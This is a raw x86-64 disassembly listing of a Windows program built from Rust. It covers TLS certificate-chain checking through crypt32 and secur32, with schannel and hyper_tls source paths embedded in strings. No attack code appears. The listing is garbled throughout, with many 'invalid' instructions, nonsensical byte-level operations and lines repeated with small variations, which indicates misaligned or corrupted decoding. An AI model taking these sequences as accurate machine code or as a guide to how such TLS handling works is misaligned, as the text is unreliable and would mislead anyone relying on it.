mov r14, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
mov r12, qword [rsp + 0x108]
nop word cs:[rax + rax]
mov rax, qword [r12 + 0x10]
mov rbp, qword [rax + rsi*8]
mov rcx, r12
call r14
mov r15, rax
mov rcx, r13
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov eax, dword [r12 + 0xc]
inc rsi
mov r13, r15
cmp rsi, rax
jb 0x1400b30e0
jmp 0x1400b314d
lea rcx, [rdi + 0x80]
mov r14, rdx
mov rdx, rbp
mov r8, r15
call fcn.140104c70
mov rdx, r14
mov rbp, qword [rdi + 0x90]
jmp 0x1400b2e06
xor eax, eax
xor r15d, r15d
jmp 0x1400b2dc2
mov r15, r13
mov r14, qword [sym.imp.crypt32.dll_CertDuplicateCertificateChain]
mov r12, qword [rsp + 0x108]
mov rcx, r12
call r14
mov qword [rsp + 0x140], rax
mov rcx, r15
mov rsi, qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
call rsi
xor r15d, r15d
mov rdx, rsi
mov r12, rbp
jmp 0x1400b3188
mov r15, r14
inc r15
mov rcx, r13
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rdx, qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov eax, dword [r12 + 0xc]
mov esi, 0xf00
cmp r15, rax
jae 0x1400b3244
mov rax, qword [r12 + 0x10]
test rax, rax
je 0x1400b3244
mov r14, r15
mov rax, qword [rax + r15*8]
mov rcx, qword [rax + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r13, rax
mov rcx, qword [rdi + 8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
je 0x1400b3172
nop
mov r15, rax
mov rcx, rax
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov rbp, rax
mov r8d, dword [r15 + 0x10]
cmp r8d, dword [r13 + 0x10]
jne 0x1400b321c
mov rdx, qword [r13 + 8]
mov rcx, qword [r15 + 8]
call sub.VCRUNTIME140.dll_memcmp
mov esi, eax
mov rcx, r15
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
test esi, esi
je 0x1400b3227
mov rcx, qword [rdi + 8]
mov rdx, rbp
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
jne case.0x14001a36d.2591
jmp 0x1400b3172
mov rcx, r15
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
jmp 0x1400b3205
mov rcx, rbp
mov rsi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
call rsi
mov rcx, r13
call rsi
mov esi, 0xf10
mov rdx, qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov rcx, qword [rsp + 0x140]
call rdx
mov r15, qword [rsp + 0x108]
mov r14, qword [rsp + 0x148]
lea rax, [rsp + 0xf0]
movups xmmword [rax], xmm6
movabs rax, 0x200000018
mov qword [rsp + 0xe8], rax
movabs rax, 0x8000000000000000
cmp qword [rdi + 0xa0], rax
je 0x1400b32a6
cmp byte [rdi + 0x121], 0
jne 0x1400b32a6
mov rax, qword [rdi + 0xa8]
mov qword [rsp + 0xf8], rax
mov dword [rsp + 0xd0], 0x10
mov dword [rsp + 0xd4], esi
lea rax, [rsp + 0xe8]
mov qword [rsp + 0xd8], rax
movaps xmmword [rsp + 0xb0], xmm6
mov qword [rsp + 0xc0], 0
mov dword [rsp + 0xb0], 0x18
mov ecx, 4
mov rdx, r15
lea r8, [rsp + 0xd0]
lea r9, [rsp + 0xb0]
call qword [sym.imp.crypt32.dll_CertVerifyCertificateChainPolicy]
test eax, eax
je 0x1400b34ae
mov r13d, dword [rsp + 0xb4]
mov rax, qword [rdi + 0x100]
test rax, rax
je 0x1400b3370
mov r8, qword [rdi + 0x108]
mov rcx, qword [r8 + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
mov qword [rsp + 0x80], r15
mov dword [rsp + 0x88], r13d
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x8c], rax
lea rdx, [rsp + 0x80]
call qword [r8 + 0x28]
test rax, rax
je 0x1400b3382
jmp 0x1400b34ca
test r13d, r13d
jne 0x1400b34b7
mov rcx, r15
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov rcx, r14
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
cmp byte [rdi + 0xd0], 0
movzx r13d, byte [rsp + 0x6f]
movzx r14d, byte [rsp + 0x78]
jne 0x1400b2684
mov rax, qword [rsp + 0x128]
mov byte [rax], 1
and al, 0x28
add dword [rax], eax
add dh, al
add byte [rcx], al
jmp 0x1400b2684
lea rcx, [rdi + 0x80]
add byte [rax], al
mov rsi, rdx
mov rdx, r13
mov r8, r15
call fcn.140104c70
mov rdx, rsi
mov rsi, qword [rsp + 0x110]
mov r13, qword [rdi + 0x90]
jmp 0x1400b2eaf
cmp rax, 2
cmp eax, 2
movabs rax, 0xd00000003
cmove rdx, rax
mov rax, qword [rsp + 0x70]
mov qword [rax + 8], rdx
mov dword [rax], 2
movaps xmm6, xmmword [rsp + 0x170]
add rsp, 0x188
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x70]
mov dword [rax], 0
jmp 0x1400b3401
mov rax, qword [rsp + 0x70]
mov qword [rax + 8], rbp
jmp 0x1400b33fb
lea rdx, str.unexpected_EOF_during_handshakeassertion_failed:_size___nread
mov r8d, 0x1f
mov cl, 0x25
call fcn.140096230
mov rcx, qword [rsp + 0x70]
mov qword [rcx + 8], rax
mov dword [rcx], 2
jmp 0x1400b3401
call qword [sym.imp.kernel32.dll_GetLastError]
mov r13d, eax
shl r13, 0x20
or r13, 2
mov rcx, rbp
mov rdi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
call rdi
mov rcx, r15
call rdi
mov rcx, rsi
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
jmp 0x1400b34cd
mov r13d, eax
shl r13, 0x20
or r13, 2
mov rsi, qword [rsp + 0x70]
jmp 0x1400b34db
call qword [sym.imp.kernel32.dll_GetLastError]
mov r13d, eax
shl r13, 0x20
or r13, 2
jmp 0x1400b34cd
call qword [sym.imp.kernel32.dll_GetLastError]
mov r13d, eax
shl r13, 0x20
or r13, 2
mov rcx, r15
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
jmp 0x1400b34cd
mov r13, rax
mov rsi, qword [rsp + 0x70]
mov rcx, r14
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov qword [rsi + 8], r13
mov dword [rsi], 2
jmp 0x1400b3401
shl rax, 0x20
or rax, 2
jmp 0x1400b3449
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov ecx, 1
mov rdx, r13
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov ecx, 1
mov rdx, r13
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov ecx, 1
mov rdx, r13
call fcn.140104670
lea rcx, str.assertion_failed:__self.context.is_null__
lea r8, [0x14013a548]
mov edx, 0x29
call fcn.1401046f0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, r15
call fcn.140104660
mov ecx, 8
mov edx, 0x20
call fcn.140104380
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, r15
call fcn.1401046e0
lea rcx, [0x14013eb0f]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov edx, 0x1f
call fcn.1401046f0
lea r8, str._rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_alloc_src_vecmod.rs
mov rcx, r15
call fcn.1401046e0
int3
cli
call fcn.140104360
int3
sub esp, 0x50
mov rsi, rcx
mov qword [rcx + 0x38], rdx
movzx eax, byte [rcx + 0xd0]
test eax, eax
invalid
je 0x1400b3b34
invalid
sal byte [rbx + rcx - 0x7d], 0xf8
add cl, byte [rdi]
test byte [rdi], cl
add dword [rax], eax
or eax, dword [rbx - 0x7bf0fd08]
sgdt [rax]
cmp eax, 2
je 0x1400b3c41
add bl, ch
or dword [rax + 0xd3be], eax
add byte [rax], al
invalid
jmp 0x1400b3b3d
cmp byte [rsi + 0xd3], 0
add byte [rbp + 0x78], dh
jne 0x1400b3bb5
js 0x1400b3b05
mov dword [rsp + 0x24], 1
and al, 0x24
add dword [rax], eax
add byte [rax], al
movabs rax, 0x200000004
add byte [rax - 0x77], cl
and al, 0x40
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x24]
mov qword [rsp + 0x48], rax
movabs rax, 0x100000000
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x28
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x28
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rcx, [rsi + 0xf0]
lea rdx, [rsp + 0x28]
call qword [sym.imp.secur32.dll_ApplyControlToken]
mov ecx, 0xc0850005
mov ecx, 0xc0850005
je 0x1400b3b99
mov edi, eax
shl rdi, 0x20
or rdi, 2
jmp 0x1400b3bce
mov dword [rsi + 0xd0], 0x1010000
mov byte [rsi + 0xd4], 0
xchg al, dl
add byte [rax], al
add byte [rax], al
add byte [rcx], al
add esi, eax
xchg ah, dl
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x110], 0
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x28
lea rcx, [rsp + 0x28]
mov rdx, rsi
call fcn.1400b24e0
cmp dword [rsp + 0x28], 2
add dh, byte [rbp + 0x78]
add dh, byte [rbp + 0x78]
mov rdi, qword [rsp + 0x30]
mov rcx, rdi
call fcn.14001a320
mov qword [rsi + 0x38], 0
mov dword [rsi + 0x38], 0
mov dword [rsi + 0x38], 0
cmp al, 0xd
jne 0x1400b3c4b
mov ecx, edi
and ecx, 3
mov eax, 1
cmp ecx, 1
jne 0x1400b3c58
lea rsi, [rdi - 1]
mov rbx, qword [rdi - 1]
mov rdi, qword [rdi + 7]
mov edi, dword [rdi + 7]
mov edi, dword [rdi + 7]
invalid
mov rcx, rbx
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400b3c26
cmp qword [rdi + 0x10], 0x11
jb 0x1400b3c14
mov rbx, qword [rbx - 8]
pop rbx
clc
mov rcx, qword [0x14017d208]
xor edx, edx
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0x5b7da
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0x5b7da
mov rcx, qword [0x14017d208]
xor edi, edi
push qword [rcx]
ror byte [rcx - 0x77], cl
invalid
call qword [sym.imp.kernel32.dll_HeapFree]
mov bh, 5
add byte [rax + 1], bh
push qword [rcx]
ror byte [rcx - 0x77], cl
invalid
mov bh, 5
add byte [rax + 1], bh
jmp 0x1400b3c4d
mov qword [rsi + 0x38], 0
xor edi, edi
xor eax, eax
mov rdx, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
xor edi, edi
jmp 0x1400b3c4d
int3
lea eax, [0x14016f768]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
test r9, r9
je case.0x140073b82.266
mov r10d, dword [rax + 0x10]
add rax, 0x10
add r9, 0xfffffffffffffff0
invalid
test r10, r10
je 0x1400b3cd0
mov r8, qword [rax + 8]
mov r9, r10
jmp fcn.1400af850
xor r10d, r10d
mov r9, r10
shr ecx, 1
push rbx
invalid
invalid
invalid
shr ecx, 1
push rbx
mov ebx, 0xccccffff
int3
int3
or cl, ch
invalid
cmp dword [rcx], 2
jne fcn.1400af850
add rcx, 8
jmp fcn.1400e7c20
int3
sal byte [rcx], cl
ror byte [rax - 0x7d], 0xc4
sub bl, al
add rsp, 0x28
jmp 0x1400b3b10
adc eax, 0x5b78d
mov edx, eax
ret 0xc148
loop 0x1400b3e11
or rdx, 2
xor eax, eax
add rsp, 0x28
ret
add byte [rcx - 0x1d3eb73e], cl
and byte [rax - 0x7d], cl
retf 0x3102
ret 0xc148
or eax, 0x9508d
call fcn.140104a40
int3
int3
add dh, byte [rbp + 9]
add rcx, 8
jmp 0x1400e7e20
test r9, r9
leave
je 0x1400b3e55
and byte [rbp - 0x75], al
push rax
adc byte [rcx - 0x7d], cl
rcl byte [rax], 0x49
add ecx, 0xfffffff0
mov r10d, dword [r8 + 0x10]
add r8, 0x10
add r9, 0xfffffffffffffff0
test r10, r10
je 0x1400b3e30
mov rax, qword [r8 + 8]
mov r8, rax
mov r9, r10
or byte [rcx - 0x77], cl
ror byte [rbp - 0x77], 0xd1
jmp fcn.1400af850
inc dword [rbp + 0x31]
ror byte [rcx - 0x77], cl
invalid
invalid
xor r10d, r10d
mov r8, rax
mov r9, r10
ror byte [rbp - 0x77], 0xd1
jmp fcn.1400af850
int3
add cl, byte [rdi]
xchg esp, eax
rol bl, 0xcc
int3
in al, dx
and byte [rax - 0x77], cl
invalid
cmp dword [rdx], 2
setne al
lea rdx, [rdx + rax*8]
ret 0x8348
invalid
invalid
ret 0x8348
call fcn.14003d3c0
mov rax, rsi
add rsp, 0x20
pop rsi
ret
int3
int3
int3
in al, dx
and byte [rbx + 0x1675023a], al
cmp al, byte [rdx]
jne 0x1400b3ed0
cmp al, byte [rdx]
jne 0x1400b3ed0
movabs rax, 0x8000000000000001
mov qword [rcx], rax
mov rax, rcx
add rsp, 0x20
pop rsi
ret
mov rsi, rcx
invalid
call fcn.1400b3a60
mov rax, rsi
add rsp, 0x20
pop rsi
ret
invalid
int3
sub rsp, 0x28
in al, dx
sub byte [rax + 0x74001079], al
cmp byte [rcx + 0x10], 0
je 0x1400b3f03
cmp byte [rcx + 0x10], 0
je 0x1400b3f03
add rsp, 0x28
pop rdi
pop rsi
ret
mov rsi, qword [rcx]
mov rdi, qword [rcx + 8]
jns 0x1400b3f12
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
or byte [rax], al
je 0x1400b3efc
cmp qword [rdi + 0x10], 0x11
jb 0x1400b3f21
adc dword [rdx + 4], esi
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
add rsp, 0x28
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
int3
sub byte [rax + 0x7500107a], al
sbb cl, byte [rax - 0x39]
mov qword [rcx], 3
movups xmm0, xmmword [rdx]
movups xmmword [rcx + 8], xmm0
mov byte [rdx + 0x10], 1
mov rax, rcx
add rsp, 0x28
ret
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_tls_0.5.0_srcclient.rs_
or eax, 0x8b1dd
call fcn.140104c30
int3
int3
and byte [rax - 0x77], cl
invalid
cmp eax, 3
je 0x1400b3fbf
invalid
cmp eax, 4
jne 0x1400b4044
invalid
add byte [rdi], cl
mov dh, 0x86
xor byte [rbx], al
add byte [rax], al
movzx eax, byte [rsi + 0x330]
cmp eax, 3
je 0x1400b404d
test eax, eax
jne 0x1400b4006
mov rdi, qword [rsi + 0x50]
push rax
mov rbx, qword [rsi + 0x58]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
jne 0x1400b3fe9
jmp 0x1400b4006
sbb eax, 0x107b8348
adc dword [rdx + 4], esi
cmp qword [rbx + 0x10], 0x11
jb 0x1400b3ff4
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi], 0
je 0x1400b4016
add byte ds:[rdx + rcx + 0x48], dh
mov ecx, dword [rsi + 8]
mov rcx, qword [rsi + 8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x10]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp qword [rsi + 0x20], 0
cmp dword [rsi + 0x20], 0
cmp dword [rsi + 0x20], 0
je 0x1400b4044
mov r8, qword [rsi + 0x28]
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax + 0x20c48348], dl
nop
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
ret
movzx eax, byte [rsi + 0x200]
cmp eax, 4
je 0x1400b4091
add byte [rax], al
add al, ch
rcr byte [rsi - 0x69140001], cl
cmp dword [rsi + 0x208], 2
add byte [rax], al
invalid
je 0x1400b40a6
add byte [rax], al
add dh, byte [rbp + rbp + 0x48]
lea ecx, [rsi + 0x208]
lea rcx, [rsi + 0x208]
call fcn.1400adf40
mov byte [rsi + 0x201], 0
xchg byte [rcx], al
add al, byte [rax]
add byte [rax], al
inc esi
xchg byte [rcx], al
add al, byte [rax]
add byte [rax], al
jmp 0x1400b4006
invalid
inc dword [rbx + 0x208be]
add byte [rdx], al
je 0x1400b40a6
lea rcx, [rsi + 0x208]
call fcn.1400ae3e0
mov byte [rsi + 0x201], 0
jmp 0x1400b4006
invalid
invalid
invalid
add byte [rax], al
add cl, ch
push rsp
invalid
invalid
int3
int3
int3
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xaa8
or al, byte [rax]
invalid
or al, byte [rax]
add byte [rdi], cl
sub dword [rsp + 0xa90], esi
invalid
movaps xmmword [rsp + 0xa90], xmm6
add byte [rbp - 0x77], cl
invalid
mov r13, r8
mov ebp, eax
mov rdi, rdx
xlatb
mov rsi, rcx
mov esi, ecx
movzx eax, byte [rdx + 0x49]
lea rcx, [0x140174b78]
invalid
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rdx, qword [rdi + 0x38]
mov rax, qword [rdi + 0x40]
mov qword [rdi + 0x50], rdx
push rax
push rax
mov qword [rdi + 0x58], rax
jmp 0x1400b415e
lea r8, [rdi + 0x330]
movzx eax, byte [rdi + 0x330]
mov dh, 0x87
xor byte [rbx], al
add byte [rax], al
invalid
mov dh, 0x87
xor byte [rbx], al
add byte [rax], al
invalid
add byte [rbp - 0x307bf040], al
add dword [rax], eax
add byte [rax], al
cmp eax, 3
jne 0x1400b52f9
adc dword [rax], eax
invalid
test eax, eax
je 0x1400b42ef
add byte [rax], al
add byte [rax], al
cmp eax, 3
jne 0x1400b52f9
adc dword [rax], eax
invalid
adc dword [rax], eax
add byte [rbp + rcx*4 - 0x71], cl
add byte [rdx], al
lea r9, [rdi + 0x200]
add byte [rax], al
movzx eax, byte [rdi + 0x200]
add byte [rdx], al
add byte [rax], al
lea rcx, [0x140174b8c]
or r9b, byte [rax + r8]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
jmp rax
mov qword [rsp + 0x58], r9
mov qword [rsp + 0x38], r8
and al, 0x38
and al, 0x38
jmp 0x1400b4812
mov rdx, qword [rdi + 0x50]
mov rax, qword [rdi + 0x58]
lea rcx, [rsp + 0x140]
mov r8, r13
call qword [rax + 0x18]
mov r14, qword [rsp + 0x140]
mov ah, 0x24
add dword [rax], eax
invalid
mov word [rax + rax*2], fs
add dword [rax], eax
add byte [rbp - 0x77], cl
call 0x18c23926c
mov esi, dword [rsp + 0x140]
mov ah, 0x24
add dword [rax], eax
invalid
mov ah, 0x24
add dword [rax], eax
add byte [rcx - 0x7d], cl
inc byte [rbx]
cmp r14, 3
jne 0x1400b4188
mov qword [rsi], 4
mov al, 3
jmp 0x1400b4bde
add byte [rax], al
add byte [rax + 0xa56e903], dh
add byte [rax], al
mov r12, r13
mov r13, qword [rsp + 0x148]
mov rbp, qword [rsp + 0x150]
movups xmm0, xmmword [rsp + 0x158]
adc byte [rsp + 0x158], al
adc byte [rsp + 0x158], al
movaps xmmword [rsp + 0x60], xmm0
mov r15, qword [rdi + 0x50]
mov rbx, qword [rdi + 0x58]
mov rcx, r15
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b41d9
cmp qword [rbx + 0x10], 0x11
jb 0x1400b41c7
mov r15, qword [r15 - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
cmp r14d, 2
jne 0x1400b4295
invalid
mov dl, 0
add byte [rax], al
test dword [rdx + 0xf000000], esi
mov dh, 5
invalid
movzx eax, byte [0x14017d2b0]
mov edx, 0x20
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400b5305
invalid
add byte [rcx - 0x77], cl
invalid
mov r14, rax
mov qword [rax], r13
mov qword [rax + 8], rbp
movaps xmm0, xmmword [rsp + 0x60]
movups xmmword [rax + 0x10], xmm0
lea r13, str._T_v_
cmp qword [rdi], 0
je 0x1400b4229
mov ecx, dword [rdi + 8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rdi + 0x10]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov ebp, 3
cmp qword [rdi + 0x20], 0
je 0x1400b4254
invalid
adc ecx, dword [rbx + rcx*4 + 0x47]
sub byte [rax - 0x75], cl
or eax, 0xc8fbc
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsi], rbp
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], r15
movaps xmm0, xmmword [rsp + 0xf0]
movups xmmword [rsi + 0x20], xmm0
mov qword [rsi + 0x30], r12
mov qword [rsi + 0x38], rbx
lea rcx, [rsi + 0x40]
lea rdx, [rsp + 0x8c0]
mov r8d, pe_nt_image_headers64
call sub.VCRUNTIME140.dll_memcpy
add al, 0
add al, 0
mov al, 1
jmp 0x1400b4bde
cmp byte [rdi + 0x48], 0
je 0x1400b4afe
or byte [rax], al
invalid
mov rcx, qword [rdi + 0x28]
mov rax, qword [rdi + 0x30]
mov qword [rdi + 0x50], r14
mov qword [rdi + 0x58], r13
mov dword [rdi + 0x58], ebp
mov dword [rdi + 0x58], ebp
mov qword [rdi + 0x60], rbp
movaps xmm0, xmmword [rsp + 0x60]
movups xmmword [rdi + 0x68], xmm0
mov qword [rdi + 0x78], rdi
mov qword [rdi + 0x80], rcx
mov qword [rdi + 0x88], rax
lea r8, [rdi + 0x330]
xchg dword [rax], esi
add eax, dword [rax]
add dh, al
xchg dword [rax], esi
add eax, dword [rax]
add byte [rax], al
jg 0x1400b4338
xchg dword [rax], esi
add eax, dword [rax]
add dh, al
xchg dword [rax], esi
add eax, dword [rax]
add byte [rax], al
movq xmm0, rdi
movd mm0, edi
movq xmm1, rcx
punpcklqdq xmm0, xmm1
mov r13, r12
in eax, 0xeb
invalid
in eax, 0xeb
or al, 0xf3
movq mm0, qword [rdi + 0x78]
movdqu xmm0, xmmword [rdi + 0x78]
mov rax, qword [rdi + 0x88]
mov rcx, qword [rdi + 0x70]
mov qword [rdi + 0xb0], rcx
mov dword [rdi + 0xb0], ecx
mov dword [rdi + 0xb0], ecx
mov rcx, qword [rdi + 0x50]
mov rdx, qword [rdi + 0x58]
movups xmm1, xmmword [rdi + 0x60]
movups xmmword [rdi + 0xa0], xmm1
invalid
movabs al, byte [0x908f8948000000]
add byte [rax], al
mov qword [rdi + 0x98], rdx
movdqu xmmword [rdi + 0xb8], xmm0
xchg dword [rax + 0x48000000], edi
mov dword [rdi + 0xc8], eax
invalid
xchg dword [rax + 0x48000000], edi
mov dword [rdi + 0xc8], eax
lea r9, [rdi + 0x200]
mov byte [rdi + 0x200], 0
mov byte [rdi + 0x201], 0
mov rax, qword [rdi + 0xc8]
mov qword [rsp + 0x178], rax
add byte [rax - 0x75], cl
xchg eax, ecx
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdi*2], ah
add dword [rax], eax
add byte [rdi], cl
movups xmm0, xmmword [rdi + 0xb8]
movups xmm0, xmmword [rdi + 0xb8]
movups xmmword [rsp + 0x168], xmm0
mov rax, qword [rdi + 0xb0]
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x160], rax
movups xmm0, xmmword [rdi + 0x90]
movups xmm1, xmmword [rdi + 0xa0]
movaps xmmword [rsp + 0x140], xmm0
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x150], ecx
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x150], ecx
movaps xmm2, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x5c0], xmm2
movaps xmm3, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0x5b0], xmm3
mov al, 5
add byte [rax], al
mov al, 5
add byte [rax], al
movaps xmmword [rsp + 0x5a0], xmm1
movaps xmmword [rsp + 0x590], xmm0
movups xmmword [rdi + 0x238], xmm2
movups xmmword [rdi + 0x228], xmm3
adc dword [rdi + 0x228], ebx
adc dword [rdi + 0x228], ebx
movups xmmword [rdi + 0x218], xmm1
movups xmmword [rdi + 0x208], xmm0
mov rax, qword [rdi + 0x208]
mov r15, qword [rdi + 0x230]
mov r12, qword [rdi + 0x238]
mov rbx, qword [rdi + 0x240]
mov qword [rdi + 0x208], 2
cmp rax, 2
je 0x1400b52b0
movups xmm0, xmmword [rdi + 0x210]
movups xmm1, xmmword [rdi + 0x220]
movups xmmword [rsp + 0xa8], xmm1
movups xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x88], r13
mov qword [rsp + 0xb8], r13
movabs rax, 0x8000000000000000
mov qword [rsp + 0x4a0], rax
mov qword [rsp + 0x4b8], rax
mov qword [rsp + 0x488], 0
mov qword [rsp + 0x490], 8
mov qword [rsp + 0x498], 0
movzx eax, byte [r15 + 0x1c]
movzx ecx, byte [r15 + 0x1d]
lea edx, [rcx + 1]
cmp cl, 4
movzx edx, dl
mov ecx, 4
cmovb ecx, edx
movzx r14d, cl
cmp al, 5
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x58], r9
jne 0x1400b44bd
lea r13, [0x140138898]
jmp 0x1400b44dd
xor edx, edx
cmp cl, al
movzx eax, al
cmovb eax, edx
movzx eax, al
lea r13, [0x140138898]
add r13, rax
sub r14, rax
je 0x1400b4944
add byte [rax], al
add byte [rax], al
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, r14
call fcn.1400e0010
test rax, rax
je 0x1400b52d4
mov rbp, rax
mov rcx, rbp
mov rdx, r13
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x4b8], r14
mov qword [rsp + 0x4c0], rbp
mov qword [rsp + 0x4c8], r14
cmp qword [r15], 0
je 0x1400b4571
mov rcx, qword [r15 + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov r14, rax
mov rax, qword [rsp + 0x498]
cmp rax, qword [rsp + 0x488]
jne 0x1400b455a
lea rcx, [rsp + 0x488]
call fcn.1400cf300
mov rax, qword [rsp + 0x498]
mov rcx, qword [rsp + 0x490]
mov qword [rcx + rax*8], r14
inc rax
mov qword [rsp + 0x498], rax
lea rcx, [rsp + 0x488]
call fcn.1400cf450
mov r14, rdx
test rax, rax
je 0x1400b45cc
mov rax, qword [rsp + 0x4a0]
shl rax, 1
test rax, rax
jne 0x1400b46ac
mov rax, qword [rsp + 0x4b8]
shl rax, 1
test rax, rax
jne 0x1400b46d7
mov r15, qword [rsp + 0x490]
mov rbx, qword [rsp + 0x498]
test rbx, rbx
jne 0x1400b4703
jmp 0x1400b471f
movabs rax, 0x8000000000000000
mov qword [rsp + 0x3a8], rax
mov word [rsp + 0x3e8], 1
mov qword [rsp + 0x3d8], 0
mov qword [rsp + 0x3c0], rax
mov rcx, qword [r15 + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov qword [rsp + 0x398], 1
mov qword [rsp + 0x3a0], rax
lea rcx, [rsp + 0x398]
mov rdx, r12
mov r8, rbx
